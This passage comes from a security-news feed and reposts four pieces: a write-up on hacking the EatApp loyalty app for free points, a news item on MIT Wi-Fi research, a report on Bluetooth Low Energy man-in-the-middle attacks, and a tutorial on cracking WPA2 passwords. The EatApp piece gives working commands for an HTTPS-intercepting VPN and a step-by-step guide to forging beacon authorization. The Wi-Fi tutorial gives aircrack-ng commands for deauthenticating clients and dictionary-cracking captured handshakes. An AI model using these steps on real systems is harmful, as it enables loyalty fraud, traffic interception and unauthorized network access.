isDoneByGesture – this one is a mystery, but I believe it is set to true only when you spend your points.
longitute and latitude – These are the last known GPS location values that were retrieved recently, letting the server know user’s exact geographical location. This could be used as a security measure to detect if we are not too far away from the restaurant we are receiving points in.

At this point I wanted to try out if the application is vulnerable to PIN brute-forcing. After all, there are only 10’000 possible PIN combinations. Unfortunately after sending about 5 requests with different PIN values, I started to receive the following reply from the server:

HTTP

HTTP/1.1 422 Unprocessable Entity  
Server: nginx  
Date: ...  
Content-Type: application/json; charset=utf-8  
Content-Length: 289  
Connection: keep-alive  
Vary: Accept-Encoding

{
  "status":"422 Unprocessable Entity",
  "code":"pinTooManyAttempts",
  "title":"Too many pin code attempts",
  "header":"Account locked",
  "message":"Earning and spending points and redeeming deals using your account has been locked for the next 30 minutes. Please let us know if this is a mistake."
}

Unless I had hundreds of EatApp accounts that I could switch between during the brute-force process, the 30 minutes account lockdown is a pretty strong deterrent.

Looking at the parameters of the verification request, I wondered what would the parameters be if the verification was done with the beacon swipe rather than with entering the PIN.

One idea of how free points could be earned, would be to remotely intercept the request packet with the correct PIN value entered by the restaurant’s staff. Intercepting the packet remotely would also give me an opportunity to find the exact request parameters if beacon swipe was used instead of the PIN.

Main obstacle in performing this task is that I had to intercept the request from the mobile device, while I was at the restaurant.

That was a great opportunity to try setting up the interception VPN that would be used with 3G/4G connection on my mobile phone. The VPN server would then intercept and decrypt the HTTPS traffic the same way Fiddler did.

The Evil VPN

First of all, I required a VPS where I could install the VPN software. The fastest, easiest and most reliable way to set up a Linux box VPS is Digital Ocean (you will get 10$ credit if you sign up from this link). I created the cheapest Debian 8 1CPU 512MB RAM droplet for 5$/month or 0.007$/hour. This had to be more than enough for my needs.

I had to decide which VPN protocol I wanted to use. Android officially supports PPTP and L2TP types of VPN protocols. I’ve learned though that although PPTP is supported, it is considered insecure and Google doesn’t trust it enough to enable Always-On feature for this kind of VPN. Always-On VPN feature in Android makes sure that your phone will reconnect to the VPN whenever the connection breaks and makes sure that no other packet will ever be sent NOTthrough the VPN. This is very important as I wanted to be absolutely sure that every single packet gets intercepted and decrypted.

Finding a good tutorial that would teach me how to install L2TP VPN on Debian 8 was very hard as most tutorials were written for Debian 7 and apparently in the later version of the system some dependencies changed and the tutorials became outdated.

Finally I found a perfect way to install IPsec/L2TP VPN with auto setup scripts. This is basically all I had to do on the server:

Bash

wget https://git.io/vpnsetup -O vpnsetup.sh  
nano -w vpnsetup.sh  
[Replace with your own values: YOUR_IPSEC_PSK, YOUR_USERNAME and YOUR_PASSWORD]
sudo sh vpnsetup.sh

YOUR_IPSEC_PSK – this should be you preshared key phrase (e.g. mysecretpskforvpn).
YOUR_USERNAME and YOUR_PASSWORD – your username and password to login into the VPN.

All done in fire and forget manner! The VPN was up and running. Now it was time to set up the VPN connection on my phone. I went to Settings > Wireless & Networks (More) > VPN and added a new VPN and filled the settings as follows:

Name: vpn_interceptor
Type: L2TP/IPSec PSK
Server address: [VPN_SERVER_IP]
L2TP secret: (not used)
IPSec identifier: (not used)
IPSec pre-shared key: [YOUR_IPSEC_PSK]
DNS search domains: (not used)
DNS servers: 8.8.8.8
Forwarding routes: (not used)

Now that the VPN was added, I clicked the triple-dot Settings button in the same window and clicked Always-On option and then picked the newly created VPN connection.

This is when I ran into a problem on my Android 6.0. No matter how hard I wanted the VPN to connect, it would always show connection error. I tried on another Android 4.4 device and it worked perfectly, so I knew something was wrong with the latest version of Android. The Github page of the auto script did mention a workaround for Android 6 Marshmellow:

Note: Android 6 (Marshmallow) users should edit /etc/ipsec.conf on the VPN server and append ,aes256-sha2_256 to both ike= and phase2alg= lines. Then add a new line sha2-truncbug=yes immediately after those. Indent lines with two spaces. When finished, run service ipsec restart.

That didn’t work, so I removed that “fix” from the server config files. Shortly after, I found a feature in the VPN profile settings called Backwards-compatible mode. I set that to Enable and *bang* – finally everything started to work.

Now that I had a working VPN, it was time to set up the interception and decryption of HTTPS packets. For that I decided to use SSLsplit software. Installation was easy:

Bash

wget https://mirror.roe.ch/rel/sslsplit/sslsplit-0.5.0.tar.bz2  
tar jxvf sslsplit-0.5.0.tar.bz2  
cd sslsplit-0.5.0  
make  
sudo make install

The IPSec/L2TP installation script created some advanced firewall settings for my new VPN setup and honestly I was not able to adjust it in such a way that allowed me to redirect HTTP/HTTPS packets to sslsplit proxy. I decided to completely purge the iptables settings and replace the iptables config file with the clean one, including some settings for redirecting packets to sslsplit.

Bash

iptables -F  
iptables -t nat -F  
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  
iptables -t nat -A POSTROUTING -o ppp+ -j MASQUERADE  
iptables-save > /etc/iptables.rules

Packet forwarding should already have been enabled (and should be re-enabled at every boot), because of the VPN auto setup script, but in order to be sure, you could run:

Bash

echo 1 > /proc/sys/net/ipv4/ip_forward

Next, I prepared the directory structure for sslsplit log files and created thesslsplit root certificate that will be used for generating forged HTTPS certificates the same way that Fiddler did before:

Bash

mkdir sslsplit  
mkdir sslsplit/certs  
mkdir sslsplit/logs  
cd sslsplit/certs  
openssl genrsa -out ca.key 2048  
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt

I had to download sslsplit/certs/ca.crt root certificate from the VPS, copy it my phone’s SD card and import it as trusted certificate authority. That way my Android phone would allow any forged certificate generated by sslsplit to be accepted. You could easily download ca.crt file from your VPS via SSH protocol on Windows using WinSCP.

In order to easily turn on and off our HTTP/HTTPS interception, on the server, I decided to create two small shell scripts (my sslsplit directory was put in /root/):

/root/sslsplit/start.sh

Bash

#!/bin/bash
iptables-restore < /etc/iptables.rules  
iptables -t nat -A PREROUTING -i ppp+ -p tcp --dport 80 -j REDIRECT --to-ports 8080  
iptables -t nat -A PREROUTING -i ppp+ -p tcp --dport 443 -j REDIRECT --to-ports 8443  
sslsplit -d -l /root/sslsplit/connections.log -j /root/sslsplit/ -F /root/sslsplit/logs/%T -k certs/ca.key -c certs/ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

/root/sslsplit/stop.sh

Bash

#!/bin/bash
killall sslsplit  
iptables-restore < /etc/iptables.rules

Now whenever I wanted to start intercepting packets, I’d run ./start.sh and if I wanted to stop, ./stop.sh. Simple. The sslsplit was configured to run as a daemon and it would log all raw packets into separate files in /root/sslsplit/logs/ directory. The logging feature of sslsplit is not perfect as it doesn’t fully decode saved HTTP packets, it doesn’t group packets in request/reply order and will put several packets into one file if they are sent at the same exact second, but for my needs it had to do fine. I will later describe how I overcame the HTTP decoding issue.

With the VPN setup done and HTTPS interception in place, I was finally able to drive to town, eat something and do some live packet capturing!

Trip to town

I visited three places and ordered some food in each one of them. During checkout I asked the vendor to register some EatApp points for the products I just had. At that point my phone was all the time connected to the interception VPN and the authorization packets were logged on the server by sslsplit.

I found out that if the location permission was turned off, the beacon proximity feature wouldn’t work, thus in two places the staff had to use the PIN authorization. I retrieved two packets with correct PIN values in the first two places and in the third place I was able to capture the beacon authorization packet, after I enabled the location permission for the app.

Finally I had an opportunity to check out the official Estimote developer’s app that was supposed to detect nearby beacon broadcasts and retrieve the broadcasted UUID, Major and Minor. It turned out my theory was correct:

I still had to confirm at home if the broadcasted authorization keys were really used in the authorization packet, by analyzing the sslsplit log files.

Connecting the dots

I downloaded the sslsplit log files from the server. The issue with sslsplit is that it will log all HTTP packets in their raw form. Meaning that if the Transfer-Encoding is chunked or packet is compressed with gzip, the packets won’t be logged in decoded plain-text form.

I have released a small script that is supposed to decode the sslsplit packets into clear text form. Please note that script uses a quite buggy http-parserlibrary that I decided to use for parsing HTTP packets. For simple needs, though, it is “good enough”. You can find splitparse.py on Github here.

Usage:

Bash

pip install http-parser  
python splitparse.py -i [sslsplit_logs_dir] -o [output_dir]

I quickly found the request packet with the authorization data that was sent when the beacon was swiped over my phone:

HTTP

POST /users/461845f5d03e6c052a43afbc/points  
Accept: application/json  
Accept-Language: en-gb  
X-App-Version: 1.28.0  
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1;)  
...
Content-Type: application/json; charset=UTF-8  
Content-Length: 375  
Host: api.eatapp.com  
Connection: Keep-Alive  
Accept-Encoding: gzip

{
  "authentication_token":"boKUp9vBHNAJp7XbWZCK",
  "latitude":...,
  "longitude":...,
  "point":{
    "isDoneByGesture":false,
    "main_beacon":{
      "major":38995,
      "minor":12702,
      "uuid":"2C75E74B-41B7-49E3-BD26-CE86B2F569F8"
    },
    "place_id":"450",
    "promoted_products_ids":[
      {"id":"647035946536601578040000"},
      {"id":"647035946536601578040000"},
      {"id":"647035946536601578050000"}
    ]
  }
}

Jackpot! I confirmed that the UUID, Major and Minor numbers were exactly the same in the request authorization packet and detected live with the Estimote developer’s app. That meant my theory was correct and the verification keys are constantly being broadcasted over the air in every EatAppsupported restaurant.

To summarize, here is the step-by-step guide on how to get free EatApp points in restaurant ZZZ:

Walk into restaurant ZZZ.
Open up Estimote developer’s app and detect the closest nearby beacon.
Save the screenshot with the visible UUID, Major and Minor values.
Go home.
Set a breakpoint in Fiddler to intercept EatApp packets with /users/ path in GET requests.
On your phone, select the ZZZ restaurant and set EatApp to await PIN authorization for earned points.
Enter any PIN.
Modify the intercepted packet in Fiddler, removing the "pin":"NNNN" entry and replacing it with the valid "main_beacon":{...} content containing the beacon keys captured with Estimote app.
Let the modified packet through to EatApp server.
Enjoy your free points!

Of course it would be much better to write you own tool to directly communicate with application’s server API while implementing proper location spoofing. The method I described is just quicker and easier for testing purposes.

Conclusion

Broadcasting authorization keys publicly over the air is never a good idea. Here is the list of things that could be done to improve EatApp’s security:

Send a hash value of account’s current state as an additional request parameter (points for every restaurant, account name, last sent GPS location etc.). The server would then verify if the hash is correct and only then authorize the request. Finding out how the hash parameter is formed would not be possible without disassembling and reverse engineering the application’s code. That would add additional difficulty.
In order to make reverse engineering harder, the application’s code should be obfuscated. If the additional hash verification parameter was implemented, it would greatly increase the difficulty of reverse engineering the application’s code.
@FabricatorGeneral mentioned in the comment section that it is possible to enable Secure UUID feature in Estimote’s beacons that would broadcast the beacon keys in encrypted form. That way only applications with the correct API key would be able to decrypt it. Bypassing that would require writing a custom mobile application implementing Estimote SDK, that would listen to broadcasts, decrypting them with application’s API key, that would have to be retrieved first by reverse engineering the application’s code.
Certificate pinning should be implemented to make it harder to intercept the HTTPS connection using forged certificates. This security feature could also be bypassed, but it would involve reverse engineering the application, finding where the certificate verification check is done, removing it and recompiling the application again.
Not sure if that is possible with Estimote Beacon’s, but it would be good to provide restaurants with a second beacon that would be used only for authorizing transactions with maximum broadcast range of half meter.
Never trust the client’s device! For maximum security, client’s device should only send the reward request to the server, without any authorization keys. Afterwards, the server would send the authorization request to vendor’s dedicated tablet behind the counter, requesting him to authorize the point rewards with proper keys. Beacon swiping or entering the PIN would only be done on vendor’s device, thus making it impossible for the client to intercept the request that he could later use to create forged packets.

Source:https://breakdev.org

The post How I Hacked an Android App to Get Free Beer appeared first on Information Security Newspaper | Hacking News.

Wi-Fi speeds could triple and range double thanks to MIT breakthrough

Alisa Esage G — Thu, 25 Aug 2016 12:26:35 +0000

Researchers at MIT’s artificial intelligence labs have developed new algorithms that could significantly boost bandwidth and network quality.

Researchers at MIT claim to have created a network-boosting technology that could triple the speed of Wi-Fi and double its range.

The MIT team has devised a system that can overcome Wi-Fi bandwidth constraints that stem from the limited spectrum available for carrying data to and from devices wirelessly.

The researchers at MIT’s Computer Science and Artificial Intelligence Lab (CSAIL) developed a new set of signal-processing algorithms which allow multiple routers, and other wireless access points, to concurrently transmit data to multiple receivers, using the same frequency and without interference.

The researchers outline the method, called MegaMIMO 2.0, in a new paper detailing real-time distributed multiple-input multiple-output (MIMO) systems, which they claim can move data three times faster than existing routers and double their range.

While such systems could deliver general wireless speed improvements, the researchers believe they will be particularly useful in heavily-congested areas, such as concert venues, convention centers, and sporting arenas. The research may also change how enterprises and universities deliver connectivity to thousands of users, by allowing them to use available spectrum more efficiently.

The technique builds on MIMO, a wireless technology which bounces signals off walls, ceilings, and objects to hit a receiving antenna multiple times, from different angles. As Intelnotes of MIMO, adding more antennas usually equates to higher speeds. For example, a router with three antennas can support speeds of 600Mbps, while a device with two antennas maxes out at 300Mbps.

However, the developers of MegaMIMO 2.0 argue more antennas cannot solve constraints on spectrum.

“In today’s wireless world, you can’t solve spectrum crunch by throwing more transmitters at the problem, because they will all still be interfering with one another,” said Ezzeldin Hamed, a PhD student and lead author on the paper.

“The answer is to have all those access points work with each other simultaneously to efficiently use the available spectrum.”

The algorithms the CSAIL team developed to orchestrate these routers is the basis of the distributed MIMO system they call MegaMIMO 2.0.

According to MIT, the technology is “soon-to-be-commercialized” although there’s no indication of when products that support it will be available.

Source:https://www.zdnet.com/

The post Wi-Fi speeds could triple and range double thanks to MIT breakthrough appeared first on Information Security Newspaper | Hacking News.

BLUETOOTH HACK LEAVES MANY SMART LOCKS, IOT DEVICES VULNERABLE

Alisa Esage G — Fri, 12 Aug 2016 09:04:04 +0000

Sławomir Jasek with research firm SecuRing is sounding an alarm over the growing number of Bluetooth devices used for keyless entry and mobile point-of-sales systems that are vulnerable to man-in-the-middle attacks. Jasek said the problem is traced back to devices that use the Bluetooth Low Energy (BLE) feature for access control. He said too often companies do not correctly implement the bonding and encryption protections offered in the standard. This shortcoming could allow attackers to clone BLE devices and gain unauthorized access to a physical asset when a smartphone is used as a device controller.

Bluetooth Low Energy, also known as Bluetooth Smart or Bluetooth 4, is designed to be power efficient and has been popular for transporting data between smartphones and IoT devices, smart homes, medical equipment and physical access control devices. Jasek presented his findings last week at Black Hat USA where he also introduced a BLE proxy tool, dubbed GATTacker, for detecting the presence of and exploiting the vulnerability. GATTacker can “see” data transferred between a smartphone used as a controller and a BLE device. It can also either clone the controller or capture and manipulate data transferred between the two BLE devices when certain conditions are met. “The BLE specification assures secure connections through link-layer encryption, device whitelisting and bonding… A surprising number of devices do not (or simply cannot – because of the use scenario) utilize these mechanisms,” said Jasek in a technical description of the vulnerability. He estimates 80 percent of those BLE smart devices are vulnerable to MitM attacks. That data transport layer within BLE is called the Generic Attribute Profile (GATT) layer which defines the way data is transferred. “The security (like authentication) is, in fact, provided on higher ‘application’ (GATT protocol) layer of the data exchanged between the “master” (usually mobile phone) and peripheral device,” Jasek wrote. Using GATTacker running on a Raspberry Pi computer, SecuRing is able to observe the scanning of specific broadcast signals between the “master” (for example a keyless locking system) and the controller (smartphone). The tool can clone the victim’s mobile BLE application. Next, it can forward and tamper exchanged data, acting as an intercepting proxy, Jasek explained. “Using a few simple tricks, we can assure the victim will connect to our impersonator device instead of the original one, and then just proxy the traffic – without consent of the mobile app or device,” Jasek wrote. “Common flaws possible to exploit, including improper authentication, static passwords, not-so-random PRNG, excessive services, bad assumptions – which allow you to take over control of smart locks and disrupt a smart home.” Of course there is encryption to consider when paired devices transmit data. In order to initiate secure pairing between controller and a smart lock, for example, BLE has three methods of initiating the Bluetooth transmission called Just Works, Passkey Entry and Out of Band. According to the BLE specifications the “Just Works and Passkey Entry do not provide any passive eavesdropping protection.” Jasek explains in the case of Just Works the static PIN value used is: 000000. When a Passkey Entry PIN is used, he said, it can be brute-force cracked using the Crackle hacking tool. According to SecuRing a significant amount of devices do not implement the aforementioned security features properly. According to the researchers, 16 out of 20 devices reviewed were misconfigured allowing a hacker to use a tool such as GATTacker to perform a MitM attack. Still other access control devices that did use the BLE unencrypted layer used their own encryption solution to protect data on top of the Just Works and Passkey Entry layer. Those implementations were not common, according to SecuRing research. Jasek said other types of MiTM attacks can vary and are not just limited to breaking physical access controls. Using a cloned device, Jasek said, it would be possible to launch a denial-of-service attack against automated home features. In another scenario, a hacker could earn iBeacon-based customer loyalty points for visiting specific commercial stores without ever leaving their home. In another example, Jesek was able to perform a MitM attack against a point-of-sale system. In that example, even though he was not able to retrieve encrypted credit card data, he was able to spoof messages to the PoS system saying “transaction processed” or “transaction approved.” Jasek was one of several security researchers at this month’s Black Hat and DEF CON hacker conferences to expose flaws within the BLE protocol. At DEF CON, Anthony Rose and Ben Ramsey from Merculite Security also demonstrated how insecurities in BLE could be used to crack open smart locks. At last year’s Black Hat conference researchers demonstrated similar types of hacking tools for spoofing RFID proximity card readers to break physical access controls.

Source:https://threatpost.com

The post BLUETOOTH HACK LEAVES MANY SMART LOCKS, IOT DEVICES VULNERABLE appeared first on Information Security Newspaper | Hacking News.

How to Hack Wi-Fi: Cracking WPA2-PSK Passwords Using Aircrack-Ng

Alisa Esage G — Sat, 11 Jun 2016 08:31:01 +0000

When Wi-Fi was first developed in the late 1990s, Wired Equivalent Privacy was created to give wireless communications confidentiality. WEP, as it became known, proved terribly flawed and easily cracked. You can read more about that in my beginner’s guide to hacking Wi-Fi.

As a replacement, most wireless access points now use Wi-Fi Protected Access II with a pre-shared key for wireless security, known as WPA2-PSK. WPA2 uses a stronger encryption algorithm, AES, that’s very difficult to crack—but not impossible. My beginner’s Wi-Fi hacking guide also gives more information on this.

The weakness in the WPA2-PSK system is that the encrypted password is shared in what is known as the 4-way handshake. When a client authenticates to the access point (AP), the client and the AP go through a 4-step process to authenticate the user to the AP. If we can grab the password at that time, we can then attempt to crack it.

Image via Shutterstock

In this tutorial from our Wi-Fi Hacking series, we’ll look at using aircrack-ngand a dictionary attack on the encrypted password after grabbing it in the 4-way handshake. If you’re looking for a faster way, I suggest you also check out my article on hacking WPA2-PSK passwords using coWPAtty.

Step 1: Put Wi-Fi Adapter in Monitor Mode with Airmon-Ng

Let’s start by putting our wireless adapter in monitor mode. For info on what kind of wireless adapter you should have, check out this guide. This is similar to putting a wired adapter into promiscuous mode. It allows us to see all of the wireless traffic that passes by us in the air. Let’s open a terminal and type:

airmon-ng start wlan0

Note that airmon-ng has renamed your wlan0 adapter to mon0.

Step 2: Capture Traffic with Airodump-Ng

Now that our wireless adapter is in monitor mode, we have the capability to see all the wireless traffic that passes by in the air. We can grab that traffic by simply using the airodump-ng command.

This command grabs all the traffic that your wireless adapter can see and displays critical information about it, including the BSSID (the MAC address of the AP), power, number of beacon frames, number of data frames, channel, speed, encryption (if any), and finally, the ESSID (what most of us refer to as the SSID). Let’s do this by typing:

airodump-ng mon0

Note all of the visible APs are listed in the upper part of the screen and the clients are listed in the lower part of the screen.

Step 3: Focus Airodump-Ng on One AP on One Channel

Our next step is to focus our efforts on one AP, on one channel, and capture critical data from it. We need the BSSID and channel to do this. Let’s open another terminal and type:

airodump-ng –bssid 08:86:30:74:22:76 -c 6 –write WPAcrack mon0

08:86:30:74:22:76 is the BSSID of the AP
-c 6 is the channel the AP is operating on
WPAcrack is the file you want to write to
mon0 is the monitoring wireless adapter*

As you can see in the screenshot above, we’re now focusing on capturing data from one AP with a ESSID of Belkin276 on channel 6. The Belkin276 is probably a default SSID, which are prime targets for wireless hacking as the users that leave the default ESSID usually don’t spend much effort securing their AP.

Step 4: Aireplay-Ng Deauth

In order to capture the encrypted password, we need to have the client authenticate against the AP. If they’re already authenticated, we can de-authenticate them (kick them off) and their system will automatically re-authenticate, whereby we can grab their encrypted password in the process. Let’s open another terminal and type:

aireplay-ng –deauth 100 -a 08:86:30:74:22:76 mon0

100 is the number of de-authenticate frames you want to send
08:86:30:74:22:76 is the BSSID of the AP
mon0 is the monitoring wireless adapter

Step 5: Capture the Handshake

In the previous step, we bounced the user off their own AP, and now when they re-authenticate, airodump-ng will attempt to grab their password in the new 4-way handshake. Let’s go back to our airodump-ng terminal and check to see whether or not we’ve been successful.

Notice in the top line to the far right, airodump-ng says “WPA handshake.” This is the way it tells us we were successful in grabbing the encrypted password! That is the first step to success!

Step 6: Let’s Aircrack-Ng That Password!

Now that we have the encrypted password in our file WPAcrack, we can run that file against aircrack-ng using a password file of our choice. Remember that this type of attack is only as good as your password file. I’ll be using the default password list included with aircrack-ng on BackTrack nameddarkcOde.

We’ll now attempt to crack the password by opening another terminal and typing:

aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de

WPAcrack-01.cap is the name of the file we wrote to in the airodump-ng command
/pentest/passwords/wordlist/darkc0de is the absolute path to your password file

How Long Will It Take?

This process can be relatively slow and tedious. Depending upon the length of your password list, you could be waiting a few minutes to a few days. On my dual core 2.8 gig Intel processor, it’s capable of testing a little over 500 passwords per second. That works out to about 1.8 million passwords per hour. Your results will vary.

When the password is found, it’ll appear on your screen. Remember, the password file is critical. Try the default password file first and if it’s not successful, advance to a larger, more complete password file such as one of these.

CrackStation’s Password Cracking Dictionary
SkullSecurity’s Password Dictionaries

Stay Tuned for More Wireless Hacking Guides

Keep coming back, as I promise more advanced methods of hacking wireless in future tutorials. If you haven’t seen the other Wi-Fi hacking guides yet, check them out here. Particularly the one on hacking WEP using aircrack-ng and hacking WPA2-PSK passwords using coWPAtty.

The post How to Hack Wi-Fi: Cracking WPA2-PSK Passwords Using Aircrack-Ng appeared first on Information Security Newspaper | Hacking News.